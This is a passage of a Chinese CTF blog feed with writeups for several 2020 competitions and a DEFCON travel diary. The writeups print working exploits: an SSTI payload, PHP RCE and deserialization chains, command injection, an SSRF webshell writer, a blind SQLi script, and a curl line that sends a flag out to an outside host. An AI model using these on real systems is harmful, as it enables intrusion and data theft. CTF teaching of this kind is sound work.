red~left~right%20%}%20{%%20for%20f,v%20in%20y1ng.__init__.__globals__.items()%20%}{%%20if%20f%20==%20bul%20%}{%%20for%20a,b%20in%20v.items()%20%}{%%20if%20a%20==%20ev%20%}{{b(pld)}}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

rceme
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('you are not smart');
    }
}
eval("echo($code)");
?>

一点点构造就好了,我中间出了点弱智错误导致浪费了些时间,虽然有点麻烦但是不需要用或运算,对于加固了正则的题目还可以继续打,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import quote_plus

def g(payload, buff):
	offset = 3 + buff
	res = ""
	base = 65
	for i in range(len(payload)):
		if payload[i] == '_' or payload[i] == '/':
			continue
		_ascii = ord(payload[i])
		#init
		underline =  "$" + ("_" * (i + offset))
		undefined = "$" + ("_" * (len(payload) + offset + 15))
		var = f"++{underline};$__-={underline};$__++;{underline}/=$__;{underline}=(({undefined}/{undefined}).{underline})"+r"{++$__};$__--;"
		res += var;
		tmp = ''
		if _ascii > base:
			for i in range(_ascii-base):
				tmp = tmp + f"++{underline};"
		res += tmp

	first =  "$" + ("_" * offset)
	for i in range(1, len(payload)):
		if payload[i] == '_':
			res += f"{first}.='_';"
			continue
		if payload[i] == '/':
			res += f"{first}.='/';"
			continue
		final_var = "$" + ("_" * (i + offset))
		res += f"{first}.={final_var};"
	return [res, "$" + "_" * (offset)]

pre = "'');"
after = '//'

buff = len('STRTOLOWERSHOW_SOURCE')
flag = g("/FLAG", buff)

buff = len('STRTOLOWER')
showsource = g("SHOW_SOURCE", buff)

buff = 0
strtolower = g('STRTOLOWER', buff)

final = ''

#1.构造STRTOLOWER并存进变量a
final += strtolower[0]
a = strtolower[1] # a = '$___' # STRTOLOWER

#2.构造SHOW_SOURCE并存进变量b
final += showsource[0]
b = showsource[1] # b = '$_____________' #SHOW_SOURCE

#3.构造/FLAG并存进变量c
final += flag[0] + flag[1] + "='/'." + flag[1] + ';'
c = flag[1] # c = '$________________________' #/FLAG

#声明好abc变量
padding = f'$______________________________________________={a};$_______________________________________________={b};$________________________________________________={c};'
final += padding

# 4.变量d = a(c) 则变量d为/flag
d = "$______________________________________________($________________________________________________);"
padding = '$_________________________________________________='+d
final += padding

#5. b(d) 即为SHOW_SOURCE('/flag')
final += '$_______________________________________________($_________________________________________________);'

final = pre + final
final = final + after

print(final.replace('+', '%2b'))

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2598.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2598.html/feed 7
2020第四届“强网杯”全国网络安全挑战赛初赛Writeup https://www.gem-love.com/ctf/2576.html https://www.gem-love.com/ctf/2576.html#comments Mon, 24 Aug 2020 13:08:31 +0000 https://www.gem-love.com/?p=2576 Author:颖奇L’Amore

Blog:www.gem-love.com

被队友带飞,最后在pwn手都没有时间打的情况下依然获得了第10名的好成绩,比赛质量很好,队友质量也很高,特别是pizzatql!


web辅助

考点就是反序列化POP链、字符逃逸、黑名单绕过、__wakeup()魔术方法

链子:

topsolo类下将midsolo类作为方法调用 -> midsolo类触发__invoke() -> Gank() -> jungle类触发__toString() -> KS() -> system('cat /flag')

替换则造成反序列化字符逃逸:

function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

关于字符逃逸问题参考DASCTF4月赛DASCTF6月赛的相关wp,这里就不多说了。

另外这里有个黑名单,可以用HEX绕过:

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

至于__wakeup()只需要修改属性个数即可绕过。

全自动一键打exp:

<?php

//Author: 颖奇L'Amore
//Blog:www.gem-love.com

class topsolo{
    protected $name;
    public function __construct($name = 'Riven'){
        $this->name = $name;
    }
}

class midsolo{
    protected $name;
    public function __construct($name){
        $this->name = $name;
    }
}

class jungle{
    protected $name = "";
    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }
}

function decorate($top)
{
    $arr = explode(':', $top);
    for ( $i = 0; $i < count($arr); $i++)
    {
        if (preg_match('/name/', $arr[$i]))
        {
            $arr[$i - 2] = str_replace('s', 'S', $arr[$i - 2]);
            $arr[$i] = str_replace('name', '\\6E\\61\\6D\\65', $arr[$i]);
        }
    }
    $top = str_replace('"midsolo":1', '"midsolo":3', join(':', $arr));
    return $top;
}

function login($host,  $top)
{
    $padding = '";s:7:"0*0pass;s:155:"';
    $uname = "Y1ng" . str_repeat('\0*\0', ( strlen($padding) / 2 ));
    $pword = ';s:4:"Y1ng";' . $top . 's:1:"a";s:1"a';
    $url = $host . '?username=' . urlencode($uname) . '&password=' . urlencode($pword);
    return $url;
}

function cURL($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

$host = 'http://[your_container].cloudeci1.ichunqiu.com//';
$top = decorate(serialize(new topsolo(new midsolo(new jungle))));
cURL(login($host, $top));
echo preg_replace('/Must Be Yasuo!|\s/', '', cURL($host. 'play.php'));

运行即可获得flag:


主动

题目:

 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

一个非常签到的命令注入

view-source:http://39.96.23.228:10002/?ip=;cat%20`ls`


Funhash

题目:

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

也很简单,第一层就MD4跑脚本,第二层数组绕过(或者md5碰撞也行),第三层用129581926211651571912466741651878684928 或者 ffifdyop

level 1 exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import struct
import re
class MD4:
    width = 32
    mask = 0xFFFFFFFF

    h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]

    def __init__(self, msg=None):
        if msg is None:
            msg = b""

        self.msg = msg

        ml = len(msg) * 8
        msg += b"\x80"
        msg += b"\x00" * (-(len(msg) + 8) % 64)
        msg += struct.pack("<Q", ml)

        self._process([msg[i: i + 64] for i in range(0, len(msg), 64)])

    def __repr__(self):
        if self.msg:
            return f"{self.__class__.__name__}({self.msg:s})"
        return f"{self.__class__.__name__}()"

    def __str__(self):
        return self.hexdigest()

    def __eq__(self, other):
        return self.h == other.h

    def bytes(self):
        return struct.pack("<4L", *self.h)

    def hexbytes(self):
        return self.hexdigest().encode

    def hexdigest(self):
        return "".join(f"{value:02x}" for value in self.bytes())

    def _process(self, chunks):
        for chunk in chunks:
            X, h = list(struct.unpack("<16I", chunk)), self.h.copy()

            # Round 1.
            Xi = [3, 7, 11, 19]
            for n in range(16):
                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
                K, S = n, Xi[n % 4]
                hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]
                h[i] = MD4.lrot(hn & MD4.mask, S)

            # Round 2.
            Xi = [3, 5, 9, 13]
            for n in range(16):
                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
                K, S = n % 4 * 4 + n // 4, Xi[n % 4]
                hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999
                h[i] = MD4.lrot(hn & MD4.mask, S)

            # Round 3.
            Xi = [3, 9, 11, 15]
            Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
            for n in range(16):
                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
                K, S = Ki[n], Xi[n % 4]
                hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1
                h[i] = MD4.lrot(hn & MD4.mask, S)

            self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]

    @staticmethod
    def F(x, y, z):
        return (x & y) | (~x & z)

    @staticmethod
    def G(x, y, z):
        return (x & y) | (x & z) | (y & z)

    @staticmethod
    def H(x, y, z):
        return x ^ y ^ z

    @staticmethod
    def lrot(value, n):
        lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)
        return lbits | rbits

def getMD4(s):
    message = s.encode()
    return MD4(message).hexdigest()

def main():
    i = 0
    while True:
        i += 1
        message = f'0e{i}'
        messageMd4 = getMD4(message)
        messageList = messageMd4.split('e')
        if len(messageList) == 2:
            print(i)
            pattern = re.compile(r'^[0]+$')
            if pattern.match(messageList[0]) and messageList[1].isdigit():
                print(f"{message}'s md4 is {messageMd4} by Y1ng")
                break
        else:
            continue

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        pass

half_infiltration

mainly solved by my strong teammates hpdoger and f1sh

题目:

<?php
highlight_file(__FILE__);

$flag=file_get_contents('ssrf.php');

class Pass
{


    function read()
    {
        ob_start();
        global $result;
        print $result;

    }
}

class User
{
    public $age,$sex,$num;

    function __destruct()
    {
        $student = $this->age;
        $boy = $this->sex;
        $a = $this->num;
    $student->$boy();
    if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
    {
        ob_end_clean();
        exit();
    }
    global $$a;
    $result=$GLOBALS['flag'];
        ob_end_clean();
    }
}

if (isset($_GET['x'])) {
    unserialize($_GET['x'])->get_it();
} 

这里需要break掉缓冲区然后得到ssrf.php的源码,于是构造一个fatal error,exp:

<?php
$y1ng = new User;
$y1ng->age = new Pass;
$y1ng->sex = 'read';
$y1ng->num = 'result';

$c = new User;
$c->age = new Pass;
$c->sex = 'read';
$c->num = this;

$ser = serialize([$y1ng,$c]);
var_dump($ser);

得到ssrf.php源码:

<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
    $url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false; 
	if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
		die("");
	}
	if($url)
    { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_URL, $url); 
            curl_setopt($ch, CURLOPT_HEADER, 1);
            curl_exec($ch);
            curl_close($ch); 
     } 
?>

用burp intruder或者写个小脚本爆破端口,可以爆破出40000号端口,然后有上传功能,于是用gopher写马

然而文件内容过滤的很严,基本没法绕过。因为是写文件,猜测使用了file_put_contents(),那么则可以使用PHP wrapper然后用filter编码绕过,二次base64编码即可。exp:

#By hpdoger & f1sh & Y1ng
from urllib.parse import quote
import requests
import re
import base64
import sys

def base(str1):
	result = base64.b64encode(str1.encode()).decode()
	result = base64.b64encode(result.encode()).decode()
	return result
def check(s): 
	l = ['ph', 'Pz4', '<?', 'PD9wa', 'script', '=']
	for i in l:
		if i in s:
			return False
	return True

webshell = '<?=`cat /flag`;' #<script language='php'>
shellname = '1.phtml'

if not check(base(webshell)):
	print('no   '+base(webshell))
	sys.exit()
filename = "php://filter/convert.base64-decode|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=" + shellname
post_raw = "file={}&content=UEQ4OVlHTmhkQ0F2Wm14aFoyQTc".format(filename, base(webshell))
proxies = {"http":"http://127.0.0.1:7890"}
url = "http://39.98.131.124/ssrf.php?"
payload = """we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127.0.0.1:40000/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A40000%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-length%3A%20{length}%250d%250a%250d%250a{poc}"""
final =payload.format(length=len(post_raw),poc=quote(post_raw))
final_raw = url+final
rec = requests.get(url=final_raw, proxies=proxies)
sessid= "".join(re.findall("PHPSESSID=.*;",rec.text)).strip("PHPSESSID=").strip(";")
shell_url = "http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=http://localhost:40000/uploads/"+sessid+"/"+shellname
print(shell_url,end='\n')
rec2 = requests.get(url=shell_url, proxies=proxies)
print(rec2.text)


miscstudy

究极套娃,前6个level就不说了,最后一个level是真的值得喷一下

level6的最后得到了level7的地址:

题目访问是一个ctrl+s下来的百度,diff发现没什么区别,只有一行注释:

<!-- How did it become a blank , maybe you should pass (no one can find me)-->

diff没有发现太多区别,然而发现了奇怪的换行,之后继续查看可以看到交错的空格和tab,典型的snow隐写,参考我出的DASCTF6月的PhysicalHacker。

然而直接分离不出来正确的明文:

根据注释maybe you should pass (no one can find me),snow需要加上密码,密码就是no one can find me,然后就可以得到最后一部分的flag了:

snow -C -p "no one can find me" out.txt

真的他妈的无语,pass什么时候还有password的意思了???

pass 英[pɑːs] 美[pæs]
v.
通过; 走过; 沿某方向前进; 向某方向移动; 使沿(某方向)移动; 使达到(某位置);
n.
及格; 合格; 通过; 通行证; 车票; 乘车证; (某些运动中) 传球;

“you shuold pass”,真的是万万没想到,pass是密码的意思

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2576.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2576.html/feed 1
CISCN2020第十三届全国大学生信息安全竞赛初赛Writeup https://www.gem-love.com/ctf/2569.html https://www.gem-love.com/ctf/2569.html#respond Fri, 21 Aug 2020 09:01:03 +0000 https://www.gem-love.com/?p=2569 Author:颖奇L’Amore

Blog:www.gem-love.com

因为是初赛,题目都非常简单


babyunserialize

全局搜索__destruct()在jig.php很容易就发现了任意写,于是直接gethell

<?php
namespace DB;
class Jig {
    const
        FORMAT_JSON=0,
        FORMAT_Serialized=1;
    
    protected
        //! Storage location
        $dir = '/var/www/html/',
        //! Current storage format
        $format = self::FORMAT_JSON,
        //! Jig log
        $data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
        //! lazy load/save files
        $lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));

easyphp
<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

需要子进程不正常退出然后phpinfo(),找个函数回调一下即可:

/?a=stream_socket_client&b=y1ng

easytrick
<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

需要满足弱不相等+md5相同,只需要利用NaN(float)'NaN'(string)即可(INF等同理)

<?php
class trick{
    public $trick1;
    public $trick2;
}

$tr = new trick();
$tr->trick1 = NAN;
$tr->trick2 = NAN;
echo serialize($tr);

littlegame

简单题,5分钟做完,直接npm audit就能看到set-value的原型链污染漏洞。

代码也比较短,简单浏览发现在Privilege路由下可以使用set-value给session里的属性赋值,然后想要得到flag则是需要判断Admin下某个用户可控的属性和用户提供的password是否相等

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

太简单不想多说了

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req

url = 'http://your_container.cloudeci1.ichunqiu.com:8888/'
data1 = {
	"NewAttributeKey" : "constructor.prototype.Y1ng",
	"NewAttributeValue" : "Y1ng"
}

data2 = {
	"key" : "Y1ng",
	"password" : "Y1ng"
}

session = req.session()
session.get(url+'SpawnPoint')
session.post(url+'Privilege', data=data1).text
print(session.post(url+'DeveloperControlPanel', data=data2).text)

rceme
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

纯bypass题,然而也很简单,用反引号命令执行即可

?a={if:(y1ng)) `curl y1ng.vip:2333/\`cat /fl*\``;//)}( ){end if}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2569.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2569.html/feed 0
🇺🇸DEFCON 28 CTF Final Safe Mode参赛记录 https://www.gem-love.com/ctf/2558.html https://www.gem-love.com/ctf/2558.html#comments Mon, 10 Aug 2020 15:51:29 +0000 https://www.gem-love.com/?p=2558 Author:颖奇L’Amore@r3kapig

Blog:www.gem-love.com

菜鸡的第一次DEFCON之旅,全程抱队友的大腿


五月份的DEFCON Quals资格赛中,r3kapig战队以全球第九的成绩成功晋级决赛

因为COVID-19的原因,今年的DC Final改为线上进行,麦香老板给我们在上海定了一个6k多一晚的三层大别墅,大约有20名队员在上海线下集合参与了DC Final

别墅的入驻时间是8.6-8.10,我是5号北京飞上海的飞机,然而因为赶上了台风“黑格比”,飞机延误了4个多小时,最后是5号晚上3点半到了上海虹桥。本来我是和队友xmcp买的同一架航班,中午12:00起飞,因为天气原因,我改签了10:00的飞机并且在下午2点半成功起飞,xmcp改签了11点的飞机,然而因为机组原因飞机延误了8个多小时,原本的12点的航班都起飞了它们都没有起飞。

到了上海之后,5号晚上在南京路定了个酒店住了一晚,虽然房间比较小但是很便宜只要200多点儿

但是位置很好,酒店离外滩只有600m,晚上去走了走,顺便坐了一下黄浦江游轮

第二天和xmcp一起打车去了别墅和其他队友面基,到别墅区的大门口有管家开车来接,到了之后拿了队服然后入住,我住的卧室是一共4个web选手,别墅还挺豪华的

别墅一共是三层,第一层有厨房、卧室、1个大客厅、2个小客厅,二楼全是卧室,负一层是娱乐区,有酒吧台、麻将、台球、超大屏幕的电脑、VR等等,还有一个KTV的包间,不过都没有拍照存图。6号晚上丁佬他们带了switch,和他们用那个大屏幕打了一会儿的大乱斗

别墅外面有只猫,每到饭点就来蹭吃蹭喝,什么都吃

比赛一共是分为4轮,第一轮是7号晚上才开始

Contest Schedule CST 8.7 - 8.10
round 1: day 1 19:00 setup, 20:00 begin, next day 4:00 ends
round 2: day 2 12:00 setup, 13:00 starts, 21:00 ends
round 3: day 3: 5:00 setup, 6:00 starts, 14:00 ends
round 4: day 3: 22:00 setup, 23:00 begins, day 4 7:00 ends

7号起的比较晚,因为马上比赛了白天也没什么娱乐心情,就在别墅待着。下午出去准备溜达溜达,因为那个地方非常的大,像是公园一样,绿化也很好,还有水,我就去外面走走顺便拍几张照,当然拍的都是风景

结果遇到了一个神经病保安,本来是骑摩托车过去,路过我看我在给旁边的柳树拍照然后停了下来,跟我讲必须待在别墅里那边不准外出,把我撵了回去,搞得我很生气。结果问了下别墅管家,也说不能出去,我是真的无语了,不能出门我怎么离开这里?而且这边是一个很大的小区,几百户的别墅,只有一部分是被他们民宿公司买下然后出租的,大部分还都是个人的。马路不让走,人们难道要做直升机回家吗?如下图,马路边还有长凳,人不允许出来,长凳是给小动物准备的吗?

后面就是比赛了,因为基本都是很难很难的Binary题(也有web题但是非常简单),我们web组一直很闲,就帮忙打打杂,关注一下题目状态和最新通知等等,比赛过程中的相关内容就不写了,贴上几张解题的照片,二进制选手真的是非常的辛苦,然后我这个web又很闲,都有点过意不去了

这一桌基本都是web选手(除了atum和2019是pwn),还有evoA w1nd zzm这三位web,但是没上镜

其他的大部分都是二进制选手了,除了二进制,他们其中一部分人还兼顾密码、KoH、AI等

尽管如此二进制选手还是屈指可数,导致人员严重不足,好几个题解出来时候题目也下线了

最后一晚就放了个web,并且被我们打穿了,甚至能把自己flag删掉,然后就全程跑exp然后睡觉去了,因为后面就封榜了一直守到早上7点也没有什么意义。最后我们是拿了14名的成绩,上午(8月10号)大家就陆续离开然后去赶飞机了
然后我是11点的飞机,在徐汇区光大会展中心附近定了酒店住一晚,上海也不是第一次来加上又比较累,下午就在酒店睡觉。晚上时候去乾颐堂见一见当年考CCIE时的老朋友和老师,然后去附近的日月光转了转,在这里面吃了一家成都串串,单人消费三位数,不过确实够辣的,味道也不错

结果,又赶上了新台风,原本11号的飞机被取消了,改签的话说不准还要滞留机场,干脆退掉了机票换高铁,价格一样

晚上上海下雨,打了半个小时车也没打到,从漕宝路步行半个小时回了酒店,还好带伞了

11号下午虹桥乘坐高铁返京,DEFCON Final旅游活动正式结束,趁着今年下半年的工控科研项目多搞搞AI,争取明年(若有机会再战DC Final的话)能为队伍带来更大的贡献,r3kapig fighting!

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2558.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2558.html/feed 2
第四届“蓝帽杯”线上初赛writeup https://www.gem-love.com/ctf/2549.html https://www.gem-love.com/ctf/2549.html#respond Fri, 07 Aug 2020 16:00:10 +0000 https://www.gem-love.com/?p=2549 Author:颖奇L’Amore

Blog:www.gem-love.com


easiestSQLi

布尔盲注+二分注入

#!/usr/bin/ruby -w
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore

require "open-uri"
result = ''
1000.times do |i|
  low = 32
  high = 128
  mid = ( low + high ) / 2
  while low < high
    url = "http://[your_docker_container].cloudeci1.ichunqiu.com/?id=1=((ascii(substr((select(flag)from(flag)),#{i+1},1)))>#{mid})"
    res = nil
    open(url) do |http|
      res = http.read
    end
    if res['AGAIN'] === nil
      low = mid + 1
    else
      high = mid
    end
    mid = ( low + high ) / 2
    if mid == 32 or mid == 127
      break
    end
  end
  result += mid.chr
  puts result
end

Inclusion

读源码找类和反序列化位点

<?php
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        echo "Another construction!!";
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        } else {
            echo "no";
        }
    }
}
$p = $_GET['p'];
if (isset($p)) {
    $p = unserialize($p);
} else {
    echo "NONONO";
}
?>

1/10000的成功率,发10000个包爆破有很大概率能够得到flag

利用指针即可,exp:

<?php
class Seri{
    public $alize;
    function __construct()
    {
        $this->alize = new Flag;
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;
    function __construct(){
        $this->t2 = md5(rand(1,10000));
        $this->t1 = &$this->t2;
        $this->f = 'flag.php';
    }
}
$seri = new Seri();
echo serialize($seri); 
//O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:32:"1a336426e09602a4f0118326dd6c72ac";s:2:"t2";R:4;}}

Soitgoes

可以用php wrapper,但是过滤了base、rot、string等关键字。利用平时不常见的过滤器读flag.php源码即可


文件包含绕过

vim临时文件得到源码

<?php
    header("Content-type: text/html; charset=utf-8");
    echo "该死,我的电脑总断电,还好编辑器能帮我恢复,吓死惹";
    stream_wrapper_unregister('php');

    $seperate = bin2hex(rand(1,1000000));


    $mkdir = function($dir) {
        system('mkdir -p '.escapeshellarg($dir));
    };

    $mkdir('users/'.$seperate);
    chdir('users/'.$seperate);

    function getIp(){
        $ip = '';
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }elseif(isset($_SERVER['HTTP_CLIENT_IP'])){
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        }else{
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        $ip_arr = explode(',', $ip);
        return $ip_arr[0];
    }

    $curf = getIp();
    $curf = basename(str_replace('.','',$curf));
    $curf = basename(str_replace('-','',$curf));


    $mkdir($curf);
    chdir($curf);
    file_put_contents('res',print_r($_SERVER,true));
    chdir('..');
    $_GET['page']=str_replace('.','',$_GET['page']);
    if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
        include($_GET['page']);
    }

    chdir(__DIR__);
    system('rm -rf users/'.$seperate);

?>

利用file_get_contents()include()时对于data协议处理的差异,即可绕过waf、包含并RCE

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2549.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2549.html/feed 0
